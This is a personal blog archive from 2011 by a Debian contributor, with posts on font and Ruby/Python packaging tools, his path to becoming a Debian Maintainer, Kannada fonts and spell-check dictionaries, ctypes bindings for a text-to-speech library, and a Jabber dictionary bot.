My Thoughts

dh-make-font - A Font package helper for Debian

2011-12-23T09:05:00.000-08:00

Recently I was doing the font transition for ttf-indic-fonts in Debian-IN team and by doing the same process again and again I really got bored. This boredom gave rise to this new tool called dh-make-font. I wish to see it in Debian but I don't know how the font and other packaging guru's of Debian react to my novice tool :). I won't call it tool because its nothing but a simple wrapper on top of dh_make which modifies the files and removes unnecessary file which is created by dh_make. I want to tell how you can use this tool to easily package a font according to the Debian Font Task Force's new packaging policy. I'll take the transition of ttf-telugu-fonts as an example here.

Note that here I assume that reader has a basic knowledge on how to use dh_make and about the common files used in Debian packaging.

First lets create a folder with name telu-extra-1.0. Since most of the font upstream in case of ttf-indic-fonts are inactive Debian-IN team itself acts as the upstream for these fonts so we don't have any tarballs to startwith.

Once we have created folder we will copy the font files from old ttf-telugu-fonts into telu-extra-1.0 folder also we will copy the 90-ttf-telugu-fonts.conf to our folder as 90-fonts-telu-extra.conf. Now we have the basic package content ready lets give a shot to dh-make-font

dh-make-font -c gpl3 --maint 'Debian-IN Team <debian-in-workers@lists.alioth.debian.org> telu-extra-1.0

Now the hard part to explain what I did :). I just ran dh-make-font on telu-extra-1.0 folder which we prepared above. As you can see -c switch is borrowed from the dh_make and all values it accepts are same. You can even give long switch --copyright if you wish :). --maint is the new option I've provided specific to dh-make-font. This option allows you to override Maintainer of package. If you don't override Debian Fonts Task Force will be the maintainer. Did you ask why? Yes you guessed it right I prepared this tool to encourage people to maintain fonts as part of Debian Fonts Task Force team.

Besides the above option you can also specify -p / --package option to specify package name and version this will be passed over to dh_make. If you get confused just pass -h or --help option to the dh-make-font it will give you details :)

When you run above command we will see familiar questions appearing for us. Yes it is from dh_make, use your dh_make knowledge and proceed dh_make and dh-make-font will print few instructions on screen and our package is almost ready for Debian assuming dh_make didn't find something wrong in our setup. Now we need to do few minor stuffs.

1. Edit the control file and add the short and long descriptions remove fontforge build dependency as we are not building fonts from source (.sfd files).

2. Check the install and links file. Links file will be created only if there is a fontconfig related file getting installed. In our case it will be present

3. Edit the copyright file and insert copyright holders name for fonts also remove dh_make template from the file. Insert a valid dep5 Format uri

Now run your package building command. In my case I will use pbuilder to get my package ready. Wasn't that helpful? No I'm asking seriously please leave your thoughts and suggestion through comments and help me improve the tool.

This tool is actually helping me a lot. Within 20 minutes I could finish of 2 packages and get them into Debian-IN team repository. I hope it will help others too and also will get its place in Debian Fonts Task Force team

Now are you wondering where you can get the source? My bad here it is http://anonscm.debian.org/gitweb/?p=debian-in/dh-make-font.git;a=summary

My Journey with Debian and FLOSS - Part 2

2011-12-14T08:22:00.000-08:00

In my previous post I told till I packaged fonts-pagul for which RFP was filed by Santhosh. Well after that Santhosh filed one more RFP to get Eeyek font which even though I claimed for Debian-IN but I couldn't complete till date :). Well reason is that I got new job and had to shift from my home town to Bangalore. In the mean time I did manage to get aspell-kn into Debian. Funny part is I'm the upstream author of this package and I myself maintain it in Debian too. aspell dictionary for Kannada was my first upstream project after SILPA and Pypdflib.

Well know while explaining my life with Debian I forgot about other projects which I had done :). Yes some where in between all these packages I ported the Malayalam dictionary bot written by Santhosh and other SMC members for Kannada. I added some more improvements to cache the meaning retrieved from Kannada wiktionary also I used to cache the words for which I couldn't find the meaning in wiktionary with a hope to contribute it to Kannada wiktionary people so that they can add these undefined words and make Kannada wiktionary rich. But that never happened I couldn't give enough time for Kannada wiktionary bot which still lies at kn.dict.bot [at] jabber [dot] org serving meanings to people. Did I forgot to tell you that this bot has become a UNIX daemon and is monitored by monit service found in Linux. So its not only a UNIX daemon but a real zombie try killing it by giving non-sense words or whatever bot will die and will be back in a while like a Phoenix coming back from its Ash :). Psst. one secret thing I came to know is how naughty people are :D what nonsense words they send to this bot poor bot he nicely logged their email address and words :) Don't worry my intention was to give credits for undefined words but my plan was totally ruined by these people :).

The response I got from people for creating this bot was tremendous. I was flattered and got some more energy and inspiration to do more for people for FLOSS community. So let me continue my story now. After moving to Bangalore for a month or 2 I was totally disconnected from FLOSS and mostly from Internet. The whole misunderstanding was from my side that I thought laptop which I'll get from my new office will be installed with Debian as I am supposed to be working on the Debian itself but yes I was wrong instead I got Windows 7 Enterprise. Sigh the OS which I hate most :(. I was not supposed to install anything other than official stuff but I did install Firefox because IE really sucks and hence with help of Chatzilla I used to get online in IRC and meet my buddies :). Did you think I got an internet connection ? No all ISP's denied me from Internet connection because I'm staying as a Paying Guest! Now I know why we say *Mera Bharat Mahan*.

After my first salary I managed to buy a cheap Acer Travelmate model which is Linux friendly. It came with Linpus Linux which I removed and installed Debian Wheezy and I also managed to get my HTC Wildfire USB Teathering to work with it and installed stuffs required to build Debian package. Do you think I'm 3G? Err nooo I use only 2G a broken connection from Vodafone I know how much pain I daily undergo in using it :(. I said cheap but note that its Cheap in cost but for me its one the best hardware and works like a charm with Debian (no non-free blobs required!).

So from Bangalore I continued my FLOSS/Debian work and started working on restructuring ttf-indic-fonts package which I self assigned to myself. Bubulle had told me that I had opened up a can of worm and now after starting to work on the package I really understand what he meant :). Its still not midway in the transition we in team Debian-IN lack man power for the work and some time I feel I'm getting buried by the burden I'm carrying. But I still manage to crawl under all weight to reach my destination :).

During this time I had also taken additional responsibility of conducting the Mini DebConf in Mangalore area and I now being located in Bangalore had all sort of trouble communicating with my friends over in NMAMIT Nitte and in the period of time Mini DebConf Mangalore Edition had become a International event which I never imagined it would become. In one way or other I got benefited by hosting the event I got 3 DD's to sign my PGP key which my path to become a DM easy. I don't want to explain the whole event of Mini Debconf because it would take its own space :).

After the event I applied for DM position my application can be found here. Mine was the first application in the month of November and Kartik and Christian (bubulle) happily advocated me and I filed a bug report against debian-maintainer pseudo package by submitting a jetring changeset of my PGP key here. It took a while for my key to be included in debian-keyring and I officially became a Debian Maintainer on December 1 exactly one month after my application. Finally I achived one of my long term dream to become a Debian Maintainer :). Next I want to become a Debian Developer according to rules I need to wait 6 more months before I can apply to NM front desk :). Before that I want to upload my package to Debian by myself :) need to see how long it will take.

In between my DM process I adopted dwm which was orphaned by its previous maintainer Kai Hendry. Its a very simple window manager which is younger brother of wmii. The whole reason to adopt was my long time dream to use window manager and love towards the suckless project.

Well after becoming DM a week spent without any productivity and on 9th I started back to my home town on a week long vacation. Now writing this post from my home and working on the "can of worm which I opened" :) Well this is a longish post but I wanted to finish this post here. Don't worry I'll write more of the parts as and when I have more story :).. Till then so long folks.

My Journey with Debian and FLOSS - Part 1

2011-12-13T02:37:00.000-08:00

When I first started using Debian back in last half of 2009 I never thought I will go this far. Debian is one Linux distribution with which I felt comfortable after traveling across 10 distribution. My Linux interest started first back in 2007 when I was in engineering 3rd / 4th semester when the Nirmitsu group from Bangalore conducted a day long work shop. This work shop showed me beauty of command line and existence of distribution called Ubuntu and Debian.

Even though I was introduced first to Ubuntu and even I got more than 20 CD's of Ubuntu 6.04 it was not my first Linux distribution because of lack of internet connection and lack of the packages in Ubuntu CD. My first Linux was Red Hat Enterprise Linux 4 after that I moved to Red Hat Enterprise Linux 5 both these Linux were good and provided all packages in set of 4-5 CD's after that the curriculum wanted me to use Fedora and first one I tried was Fedora 8 for NCTUNS then Fedora 9 in between my college System Analyst introduced me to Mandriva 2008 and Mandriva 2009 but none of these Linux solved my problem for connecting to Internet and finally I landed on Ubuntu 8.10 which some time was allowing me to connect to internet but not always then I tried Zenwalk a Slackware derivative in the hope to getting connected to internet but there also I failed badly after searching a lot in the internet Ubuntu 9.04 finally allowed me to connect to internet. Mean while during college project I started using Debian which was introduced to us during Linux Habba conducted by then active Tech Sampada team and we had a local repo for then testing Debian Lenny (5.0) I finished my project with combination of Debian as server and Ubuntu (8.10) as client.

After my college time I started working for a company in Mangalore and there I was first working on Windows as Blackberry Application developer and later moved Mac OS X 10.5 as iPhone developer during the time I had a strong urge to do something and contribute to FLOSS community but I didn't had much technical skills just like other engineers who will pass out of college. So I started contributing as a Kannada translator in KDE project under guidance of Shankar Prasad later joined launchpad and tried to help in Ubuntu-Kannada translation. In the mean while the changes in Ubuntu made me unhappy I used to lose the feel of Debian which was present in Ubuntu when I first started using it. With advent of Ubuntu 9.10 I threw away the Ubuntu from my home computer and started using Debian Lenny which had become stable during the time but the old components of Lenny dissatisfied me and I took a major turn and got Sidux (now known as AptoSid) and unstable derivative of Debian. Telling it derivative will be wrong because it was Debian itself with some modifications provided by AptoSid community. Now I could connect to Internet and get all the developer tools required. During this time I was introduced to Santhosh Thottingal by my friend Laxmi Narayan Kamath and I slowly and steadily jumped into development of SILPA (Swathantra Indian Language Processing Application) using Python. Python had become my favorite language. I provided many optimization fixes to SILPA and some more bug fixes which made Santhosh think I'm a valuable asset and I became the Co-Developer of SILPA. I was working in some other projects Santhosh founded like Pypdflib and also contributed in some way to his WikiSource CD project also. During this same time I started a strong urge towards helping Debian but I really didn't know where to look for starting my journey towards Debian and in the nick of time I saw mail from Praveen to the SMC list stating he is going to conduct a packaging work shop the Saturday night and I replied asking If I can join and he happily welcomed me. And thus under guidance of Praveen I started learning Debian packaging and Pypdflib (Santhosh's project) was the first one I choose to package being a Python library and I'm being unaware of Python packaging policy I came across many problems and Praveen by himself not able to solve connected me to Kartik Mistry one of the most active India Debian Developer who helped me solve the problem and happily uploaded my first Debi an package to Debian (after 1 rejection from the FTP Masters) and I was the happiest man to be finally being part of Debian. The package still lies in the experimental branch of Debian which shows my sheer ignorance towards the package? (just kidding) Pypdflib is not actively under developement after we lost our most active developer Jinesh recently. I still intend to move it to unstable from experimental. With this package I also became member of Debian-IN team, the team which maintains Indian language related fonts and other packages.

After getting my first package into Debian my urge to package became more and more and I started searching for a good package until I came across the IndUni fonts which first I thought some sort of Indic language fonts untill I talked with the upstream author John Smith who clarified its Indology symbols inside the fonts finally I packaged it and because of this font I joined pkg-fonts-devel team and came to know the most respected person in Debian, Christian "bubulle" Perrier or in short we call him bubulle :).

Now recalling stuffs is bit difficult but I think after this the Open Source Federated social network Diaspora* became so famous amongst us the hackers that we decided that we should package it for Debian. It was difficult because it required so many gems to package and we lacked the man power and hence Praveen started advocating people about Diaspora* and try to teach people about ruby packaging and get them to package a gem. But he was not successful people at first show very much interest file ITP and some even go till finish package and send RFS and then disappear. So this created some chaos in pkg-ruby-extras team than helping it. And finally Lucas clearly mentioned he won't sponsor any Diaspora* packagers unless they have helped in pkg-ruby-extra transition and to undo what happened because of him Praveen started helping in transition of gems in pkg-ruby-extras team. In this whole Diaspora* packaging fuss I'm the only one who managed to get 2 new gems into Debian (ruby-polyglot and ruby-bcrypt) and also helped in transition of ruby-hmac. So now packages maintained by me in Debian reached to 5. Also during this time I floated away from Diaspora* to find a new and better federated home at Friendica more about this later.

Mean while Santhosh filed RFP's for getting Kiwix into Debian and I happily ITPed it back in March or April which is still a pending package from my side first due to build tool bug and now due to the reason package depends on xulrunner-1.9.1 which is no more in Debian and the upstream is still working on making it either independent of Xulrunner or make it depend on higher version of Xulrunner. The whole thing I learned during packaging fonts-johnsmith-induni and kiwix is how Debian actually helps improving the upstream. Whole lesson learned is have always a good relation with upstream.

Next was one more RFP by Santhosh for getting Pagul fonts for Saurashtra language into Debian which I claimed for Debian-IN and which is now in Debian. ( Now to continue my story in Debian give me a second I need to have a peek at what package I'm maintaining ;) ). Well I think post is already too longish so let me split into 2. Till the next part happy flossing hackers!

Kannada gets new fonts

2011-12-11T08:57:00.001-08:00

Just some background on fonts in Kannada

Kannada (ISO language code - kn) is widely spoken language in Karnataka. Even though we are the IT hub of India advancement of Kannada in computers is very very less. But there was some effort from some of the Open source community to make Kannada language usage in computers more and more user friendly. Of those efforts to provide a Unicode font to Kannada one was taken up by IISC Bangalore which gave to fonts Kedage and Malige to us but because of some controversies (which I really don't know clearly) they just GPLed both fonts and walked away. On the other hand Red Hat is maintaining Lohit font family and provided us most bug free Lohit Kannada. But most of the Linux geeks are not happy with appearence of Lohit Kannada so every one is happy to use Kedage besides of many bugs.

As I was restructuring the ttf-indic-fonts for Debian I was looking at the bugs reported against the package and I came across the bugs reported against Kedage and I asked my friend Aravinda if he can fix them and maintain the font. He readily agreed and fixed the bugs in both Kedage and Malige and created repo of both on github. Since maintaining the Kedage and Malige itself is not possible because we don't have any consent from upstream finally he decided to call that a fork and now Kedage => Gubbi and Malige => Navilu both fonts are now licensed under Open Font License 1.1 (OFL) and is available in Github [1] [2].

Gubbi - Old Kedage with new bug fixes and rendering issues fixed
Navilu- Old Malige (Hand written fonts) with bug fixes and rendering issues fixed

I'm happy to announce that we now have a well maintained beautiful free fonts for Kannada and all thanks goes to Aravinda. And wait a bit more folks we have more to come :)

[1] http://github.com/aravindavk/Gubbi
[2] http://github.com/aravindavk/Navilu

git-buildpackage: Renaming a package in Git repo

2011-11-14T08:35:00.001-08:00

Just to give a background I've been working on renaming ttf-indic-fonts package in Debian-IN team. And after packaging the Lohit and Samyak fonts I sent a mail to debian-in-workers mailing list giving the current status. And after a short discussion Christian bubulle Perrier suggested me to use ISO 15924 language codes rather than ISO script code (2 letters).

We are now using the Git VCS for maintaining the packages and as known the git-buildpackage uses a branch called pristine-tar and upstream branch to regenerate the orig tar ball. So if you only change the package name in control and changelog and git-buildpackage fails badly saying it can't create orig tar ball. So do the following

git checkout pristine-tar

git mv package_version.orig.tar.gz.delta newpackage_version.orig.tar.gz.delta
git mv package_version.orig.tar.gz.id newpackage_version.orig.tar.gz.id

Here package is old package name and newpackage is new name for the package. Next commit the changes. Now the important point if you simply write renamed the package as new commit message the when you run git-buildpackage you will get following warning

git-buildpackage: warning renamed pristine-tar data unable to detect compression type assuming gzip

After struggling a lot finally figured that pristine-tar command uses commit message to assume the compression type. Yes thats how pristine-tar is working so you should write commit message similar to the default one created by git-import-dsc when first importing package to repository. To be more precise commit message should be some thing like below.

pristine-tar data for newpackage_version.orig.tar.gz

Replace is newpackage_version.orig.tar.gz with actual orig tar ball name and in case your package is bzip then replace gz with bz2. And you have successfully renamed the package in git repository.

Tutorial: Cross compiling C application to i386 architecture

2011-09-01T11:12:00.000-07:00

Recently I had to compile an C application for i386 architecture but I was running x86_64 Debian Wheezy. The libraries used for linking to create the final application where compiled for i386 arch and GCC was skipping them as it was not compatible one. I knew it is possible to cross compile using GCC but I was a noob to cross compilation. Searching in the internet took me to sites which suggests use of tool chains like binutils. But my program was too simple to undergo through all this. Finally I posted finally this question [1] on StackOverflow, and thanks to guys at Stackoverflow I got immidiate answer!

Well yeah as told its pretty easy for corss compiling for i386 architecture in gcc only thing is needed is you add -m32 in CFLAGS of your make file. You may also add -march=i386 to optimize it for i386 architecture. Yes you guessed it right this won't work simply you need to have entire i386 compatible libc and libc-dev files so if you are on Debian based system then use following command to install it.

sudo apt-get install ia32-libs ia32-libs-dev libc6-dev-i386

If you want to know about other distro's well you better refer your distribution documentation.

Yes this will also works in clang compiler.

[1] http://stackoverflow.com/questions/7219256/cross-compiling-a-c-application-using-gcc

Signing off
-- Vasudev

Tutorial: Sharing 3G Internet Connection Using Laptop Wifi

2011-08-07T02:04:00.000-07:00

I've got a new laptop and plan to buy a new internet connection. Since me and my room mate are planning to share the cost of internet we are now faced with a problem of how to share a single datacard connection b/w us. After searhching a lot in the internet came accross this article [1]. But the new isc-dhcp-server package in Debian was not running for some reason so thought of going in my own way using dnsmasq as dhcp and dns server for peer laptop. Below is what I did.

First step is to install dnsmasq. Below is the command for installing the same for Debian based distro. For other distro please follow your distro documentation

apt-get install dnsmasq

Next step is configuring the dnsmasq as dhcp and dns cache. First rename the original configuration file dnsmasq.conf found in /etc to dnsmasq.conf.orig and create new empty file in place of it

sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig

sudo touch /etc/dnsmasq.conf

Now add this to your dnsmasq.conf.

Modify the file as required. I assume the reader knows basics of dhcp and dns stuffs. If you didn't understand few stuffs ping me or use man page which provides all the information about the commands.

After editing dnsmasq.conf now restart the dnsmasq daemon using following command

sudo /etc/init.d/dnsmasq restart # Debian
sudo /etc/rc.d/dnsmasq restart # Arch

We need to have a small script to enable the internet sharing. This script is originaly taken from [1] I've only enabled the wep encryption to secure the access point

You should run this script as root and once executed you should be able to see the network access point!. Next step is testing B.A.T.M.A.N integration, till then cya..

Reference:
[1] http://www.go2linux.org/linux/2011/03/share-your-3g-internet-connection-over-wifi-linux-ipod-touch-925
[2] http://element.edoceo.com/howto/dnsmasq

Tutorial: Packaging Ruby Gem in Debian

2011-05-15T10:35:00.000-07:00

Disclaimer: I'm not a ruby programmer I do ruby packaging because I want to help out the pkg-ruby-extras in their transition to new policy in Wheezy

To start with I came to package ruby because we (me and some of my friends) wanted to package Diaspora for Debian but later figured that there is lot needs to be done in the pkg-ruby-extras so thought of helping the team which will intern help in packaging Diaspora.

Before I start here is the new policy for Ruby in Wheezy [1] and here is the current status of ruby packages in Wheezy [2] this is regernerated daily.

New policy uses a tool called gem2deb which makes it very easy to package a gem (of course it only creates skeleton package :)). If you are on testing/unstable you can install the tool by issuing following command

# apt-get install gem2deb

If not you can install it from Github using following commands

git clone git://github.com/ln/gem2deb.git
cd gem2deb
rake install
then, cd to some temporary place, and do:
gem2deb rdiscount # native gem
or:
gem2deb i18n # pure-ruby gem

Once you have installed gem2deb its a 3 step task, follow the following 3 steps to get a rough package source ready of a gem

1. Download the gem using following command

gem fetch polyglot

2. Convert the .gem file to .tar.gz using following command

gem2tgz polyglot-0.3.1.gem

3. Now create a rough Debian package source using following command

dh-make-ruby polyglot-0.3.1.tar.gz

Actually the pkg-ruby-extras team suggests using gem2deb in the second step itself which tries to build the gem along with creating Debian package source for it. But I prefer going this way and build the package once I'm completely finished with packaging related stuffs for the package (i.e editing copyright control changelog and other stuffs). If you think you are lazy to follow the above 3 steps then you should checkout the script which I've written. All you need to do is give the gem name(s) to the script and it does the above 3 steps for you.

Once the above 3 steps and editing task for the package is done go ahead and build the package using pbuilder. Check the resulting package for lintian warnings and errors (You can ignore warning regarding ruby-version field for now there is already a wishlist bug reported against lintian for this). If you are a new maintainer like me go ahead and upload the package to mentors.debian.net and send RFS to debian-ruby at lists dot debian dot org and wait for the review :) (and do promptly follow up to the replies).

Reference for this tutorial is in RubyInWheezy page [1]. After reading this tutorial if you are Debian user and passionate about Debian I hope you will help out pkg-ruby-extras in this transition :)

[1] http://wiki.debian.org/Teams/Ruby/RubyInWheezy
[2] http://pkg-ruby-extras.alioth.debian.org/wheezy/details.html

Tutorial: Creating Aspell Dictionaries

2011-05-06T11:09:00.000-07:00

I recently created aspell-kn dictionary and thus I became author for atleast one upstream project ;).. In this tutorial I'm just going to summarize the steps involved in creating an aspell dictionary for a particular language (in my case Kannada).

First step is to get the latest source of aspell-lang from cvs. Yes aspell still uses cvs but we need the source only to get a map file for our language and belive it won't take much time even on slow connection (like mine) to checkout the source. Use following command to checkout the aspell-lang.

cvs -z3 -d:pserver:anonymous@cvs.savannah.gnu.org:/sources/aspell co aspell-lang

The above command will create aspell-lang in the directory where you executed it. Now change to aspell-lang/maps directory. This directory contains language map files. Look for the map file for your language. If your language has Unicode charachter set the map file should u-.txt. In my case the file was u-knda.txt. Open up the file in any editor and check if you need to add anything more than what is already in the file. This file actually maps 128-character Unicode space for the language to the space 128-255. Normally whatever content inside this file should be sufficient but for Indian scripts we require to map 2 Unicode control character ZWJ and ZWNJ This is how u-knda.txt looks after addition of these 2 control characters

0x11 = U+200C
0x12 = U+200D
0x80..0xFF = U+0C80..U+0CFF

Next step is to generate the cmap and cset file for the language. Under aspell-lang directory there is a perl script "mkchardata" use this to generate u-.cmap and u-.cset. In my case I used following command to generate u-knda.cmap and u-knda.cset

perl mkchardata maps/u-knda.txt

Now create a working folder for new directory aspell- in my case aspell-kn, copy the u-.cmap and u-.cset to that directory .cmap and .cset is not mandatory file but I think if your language uses Unicode character set then these files are mandatory. Also create a misc and copy u-.txt in to this folder.
Next we need to create info file. This file contains information about the dictionary. Below is the info file I used for aspell-kn

As you can see all fields are self explantory. One thing I would like to mention here is data-file field. If your language needs cset and cmap files then use this field to give their name.
Next you need to create Copying file describing the terms of dictionary usage. If you are using license other than standard license then licesne text should be placed in COPYING file. For GPL licences this file will be created during processing phase.
Next important file is .dat format of this file is described in aspell manual under chapter "Adding support for new language" [1]. Below is the kn.dat which I created.

Now we have all the required files. Copy proc file from aspell-lang (cloned from cvs) to your working directory and run it as shown below

./proc create

This will create configure script and Makefile.pre finally copy the word list file to working directory and name it as .wl. Word list file contains list of words seperated by new lines. Now run the following commands

./configure
make

This will convert the wl file to cwl (Compressed wordlist file using prezip tool). also creates a rws file. Now the dictionary is ready and to publish the dictionary to world use make dist this will create a tarball for distribution. Note that tarball doesn't include .wl file it only contains cwl file.

I created aspell-kn refering to the tutorial on Indlinux wiki [2]. The only reason of rewriting the entire tutorial is I felt the tutorial given in Indlinux wiki is not suitable for beginer (I being the one during creation of aspell-kn had to struggle a lot to get everything together).

The source for aspell-kn is available at [3] and source for the Kannada wordlist is available at [4] aspell-kn can be downloaded from [5] and will be soon packaged for Debian :)

[1] http://aspell.net/man-html/Adding-Support-For-Other-Languages.html#Adding-Support-For-Other-Languages
[2] http://indlinux.org/wiki/index.php/IndicSpellchecker
[3] https://gitorious.org/indic-projects/aspell-kn
[4] https://gitorious.org/indic-projects/wordlist
[5] http://sanchaya.net/downloads/aspell-kn/

Tutorial: Python and C Coupling Continued (Dhvani with Python)

2011-03-26T01:30:00.000-07:00

In my previous post I gave a brief tutorial on how to use C shared library in Python using ctypes module. The example for the tutorial was very simple and didn't involve any complex data structures. In this post I'll be giving a brief insight on how to use ctypes to interact with C libraries involving complex data structures and function pointer. In this example I'll be using Dhvani an Indian Language TTS system. Here is the Dhvani API reference.

Problem: Use dhvani API's to genreate speech or a output file in Python

Let's have a look at the Dhvani API reference (link given above). We have a structure dhvani_options which is very important part of dhvani API. Below is the structure

    typedef struct {
        struct dhvani_VOICE *voice; /* not used now.. for future use.*/
        float pitch;
        float tempo;
        int rate;
        dhvani_Languages language;
        int output_file_format;
        int isPhonetic;
        int speech_to_file;
        char* output_file_name;
        t_dhvani_synth_callback* synth_callback_fn;
        t_dhvani_audio_callback* audio_callback_fn;
    } dhvani_options;

And an enum dhvani_ERROR

    typedef enum {
        DHVANI_OK = 0,
        DHVANI_INTERNAL_ERROR = -1
    } dhvani_ERROR;

Now if we carefully observe the dhvani_options structure it involves a few complex data structure like dhvani_VOICE (structure) t_dhvani_synth_callback and t_dhvani_audio_callback and an enum dhvani_Languages. Besides this all others are basic data structures. I had to hack the dhvani source code to see what are this complex data structures are and below is the snippets which I found in dhvani source code.

    typedef enum {
        HINDI = 1,
        MALAYALAM = 2,
        TAMIL = 3,
        KANNADA = 4,
        ORIYA = 5,
        PANJABI = 6,
        GUJARATI = 7,
        TELUGU = 8,
        BENGALI = 9,
        MARATHI = 10,
        PASHTO = 11
    } dhvani_Languages;

    typedef int (t_dhvani_synth_callback) (int);
    typedef int (t_dhvani_audio_callback) (short *, int);

dhvani_VOICE structure was never defined it was meant only for future use, so it spared me some time :). I also found one more enum in the source which are used by the API's. I'm listing them below.

    typedef enum {
        DHVANI_OGG_FORMAT = 0,
        DHVANI_WAV_FORMAT
    } dhvani_output_file_format;

So we need to define few enums and a dummy strucute and 2 function pointers in Python before we can define dhvani_options structure in Python. Look at the below snippet

Since there is nothing equivalent to enums in Python we just define constants with int value to match enumeration in C. We are using CFUNCTYPE from ctypes library to define the callback function which are nothing but function pointers in CFUNCTYPE allows us to specify the return type of the functions and the arguments to the function. Next is dhvani_VOICE structure as you can see its just a place holder.

So now we have defined all the required data structures its time we define the main structure of dhvani i.e dhvani_options. Below is the snippet of code for defining dhvani_options in Python.

To define a structure we need to create a class that inherits from ctypes.Structure clas. All the fields of the strucutre are defined as the list of tupples __fields__. Each tuple contains a string specifying name of the field in C structure and its type. The new type you can see here is POINTER which is a ctype function for C Pointer type. Rest of the code is self explanatory.

With this we have all the required data structures defined in Python. Next step is to find the required functions and map them to Python equivalent function calls. Inspecting the dhvani API reference we see that function calls dhvani_say and dhvani_speak_file are required to generate audio from the text. Below is the prototype of these functions.

dhvani_ERROR dhvani_say(char *, dhvani_options *);
dhvani_ERROR dhvani_speak_file(FILE *, dhvani_options *);

dhvani_say is a simple function but dhvani_speak_file expects FILE* as first argument!! Now that is problematic, we don't have anything equivalaent to C's FILE* structure. After searching for a while finally I found this answer. The trick is use Python's file object to open the file and use fileno() API of file object to get back the integer file descriptor, then use fdopen function call provided by standard C library to get back FILE* structure for the descriptor. Since dhvani uses standard C library shared library of dhvani will contain reference to fdopen so next step is to map fdopen to Python function call. Below is prototype of fdopen which I'll be using.

FILE *fdopen(int fd, const char *mode);

And below is the snippet for mapping all these 3 functions to Python

As you can see wherever FILE* was used in C functions I used c_void_p i.e void pointer, this is mainly because pointers all have same memory size the type only indicates what type of content is present in the memory location pointed by the pointers. So in this case I'm telling python run-time that its void pointer but during the call where prototype expects (FILE*) it will be automatically typecasted (at least I assume so if you have better explanation please comment)

So we have everything read now and we can directly use dhvani API's to get the audio generated for any Indian Language from our python code. Below is the code of tts module of SILPA which now uses dhvani shared library and is out of its experimental status.

I won't be explaining rest of the code here as its self explanatory and my job was to explain the important part i.e coupling dhvani library with Python. And that is done :). Please give the suggestions in comments :)

P.S: The entire code may not be directly usable as it has code required to integrate it with SILPA

-- Vasudev

Tutorial: Python module packaging for Debian

2011-02-20T07:58:00.000-08:00

In this post I would like to share my experience on packaging my first python module for Debian. Its still waiting in the new queue to enter experimental branch of Debian. I would like to give a brief overview of the python module packaging here. I assume the reader knows basics of python module packaging and has gone through the Debian New Maintainers guide.

For Python module packaging first step is to get the source from the pypi . In my case since I was one of the developer for pypdflib, I just ran the below command to get tar.gz file for pypdflib

python setup.py sdist

The archive will be created under dist folder. In my case archive name was pypdflib-0.1.a2.tar.gz. Now copy that to a folder where you want to create the package.

Now we need to install a tool called python-stdeb - Python to Debian source package conversion utility. Run the below command to get the package installed

sudo aptitude install python-stdeb

Now run the below command to create a .dsc and module source with debian folder template inside it.

py2dsc -m 'Your Name ' package-version.tar.gz

Replace the fields appropriately it will create a folder deb_dist in the same directory and the extracted source with debian folder template will be placed under it.

deb_dist
|
|___ package-version

Now enter debian directory and edit the control changelog and copyright files to suit your needs. Make the copyright file in dep5 machine readable format. Also I noted that for some reason source/format file under debian directory contained 1.0 (native format). If so please change it to contain the following lines

3.0 (quilt)

That is almost it now running the following command will create the package for your module

debuild

If lintian complaints about issue please fix them, one important thing in Debian packaging is your package should always be lintian clean.

Now for some special cases there is chance that when you may have to do some extra work. In my case following where happening.

1. Original source (package-version.orig.tar.gz) was getting modified mainly because of packagename.egg.info folder which is created during compilation.

2. I had some samples for my module which should be installed as examples.

For the first problem solution was to override dh_clean section. I added the following lines to my rules file

override_dh_clean:
        dh_clean
        rm -rf setuptools_git-0.3.4-*
        rm -rf src/pypdflib.egg-info

What it does is it executes the remove command on 2 folder which were not cleaned automatically by dh_clean.

For second problem the solution was overriding dh_installexamples section to install my examples manually.

override_dh_installexamples:
dh_installexamples -p python-pypdflib samples/*

I didn't put those under /usr/bin/ folder since those examples are not a fully featured tools during the creation. I'll be adding them as tools under /usr/bin using link file in the next release.

Below is my complete rule file for your reference.

I thank Praveen A for guiding me and teaching Debian packaging and Kartik Mistry for helping me in packaging pypdflib and sponsoring it in Debian. My package source now lies in Debian-IN team svn repository. If there are any mistakes please do comment about them :).

Reference: Debian Woman Python packaging session

Conditional "import" in Python

2010-12-04T03:30:00.000-08:00

Normally in Python when we try to import a module and module doesn't exist the interpreter will throw ImportError, this is a normal behavior . But in some cases like when Python version changes some functions are moved from one module to other and sometime the module names itself are changed. For eg. in Python 2.6 we have urllib urllib2 modules but in Py3k these modules are combined and all request response related functions are present in urllib.request and all errors are unders urrlib.error module. Functions like urlencode quote unquote which were in urllib module in Python2.6 are under urllib.request Py3k. This case of moving from Python 2.x to Py3k can be easily done by tool called 2to3.But lets say moving from Python2.5 to Python2.6 how do we handle this situation?. Well below is the solution (applicable when modules are renamed or moved during version change)

Problem: When I started working on SILPA I was running Debian Squeeze which had Python 2.5 as system default Python, but recently Debian Squeeze transitioned to Python 2.6 as default Python. We had some issue in the URL routing logic of the SILPA which I fixed 2 days back for which I used a function called parse_qs from urlparse module and everything worked fine on my system. I pushed the changes to the main git repository. Now the problem begins 2 mirrors of SILPA have Cron job setup to periodically pull the changes from git, and next day it was reported that 2 of the mirrors where throwing 500 internal server error. And its time for me to find what was causing the issue :).

Reason: Mirror instance of the SILPA were running older version of Python.(2.5) and the function parse_qs was not defined in the module urlparse which was causing the ImportError.

Solution: I figured out that in Python 2.5 version parse_qs is present but in cgi module instead of urlparse. So to make the code work in both Python versions (i.e. 2.5 and 2.6) I need to do a conditional import as shown below

try:
from urlparse import parse_qs
except ImportError:
# Fall back for Python 2.5
from cgi import parse_qs

So I want to import parse_qs from urlparse module and if interpreter throws ImportError it means the Python version is <2.6 so import the function from cgi module instead. So code is now backward compatible with Python2.5. Well that's it I call this as conditional importing I don't know what is the exact name for this method :). If you have any suggestions please do comment.

-- Vasudev

New feature for Jabber Kannada Dictionary Bot

2010-11-30T19:28:00.000-08:00

After seeing a great response and feedback for Kannada Jabber dictionary bot project I thought of adding few new features and fixing some issues reported by the users. Here is the changelog

1. Bot was not replying for Tiger where as there was meaning for word tiger an issue reported by one of the user. I've fixed this issue and now bot is case insensitive.

2. Bot was not providing all the meanings for some words for example for word tiger it was replying as ಪುಲಿ where as Kannada Wiktionary contained these meaning ಪುಲಿ, ಹುಲಿ, ವ್ಯಾಘ್ರ. This issue is fixed now bot gives all the meanings present in Kannada Wiktionary.

Thanks to Suma and Vivek Shankar for reporting these issues.

Now for the new feature, many users had asked a way for adding meanings to word for undefined words. My friend Aravinda suggested me a way to do this, by letting user send the meaning to bot when bot replies no meaning found. So when bot doesn't find a meaning it replies to as show in below screenshot.

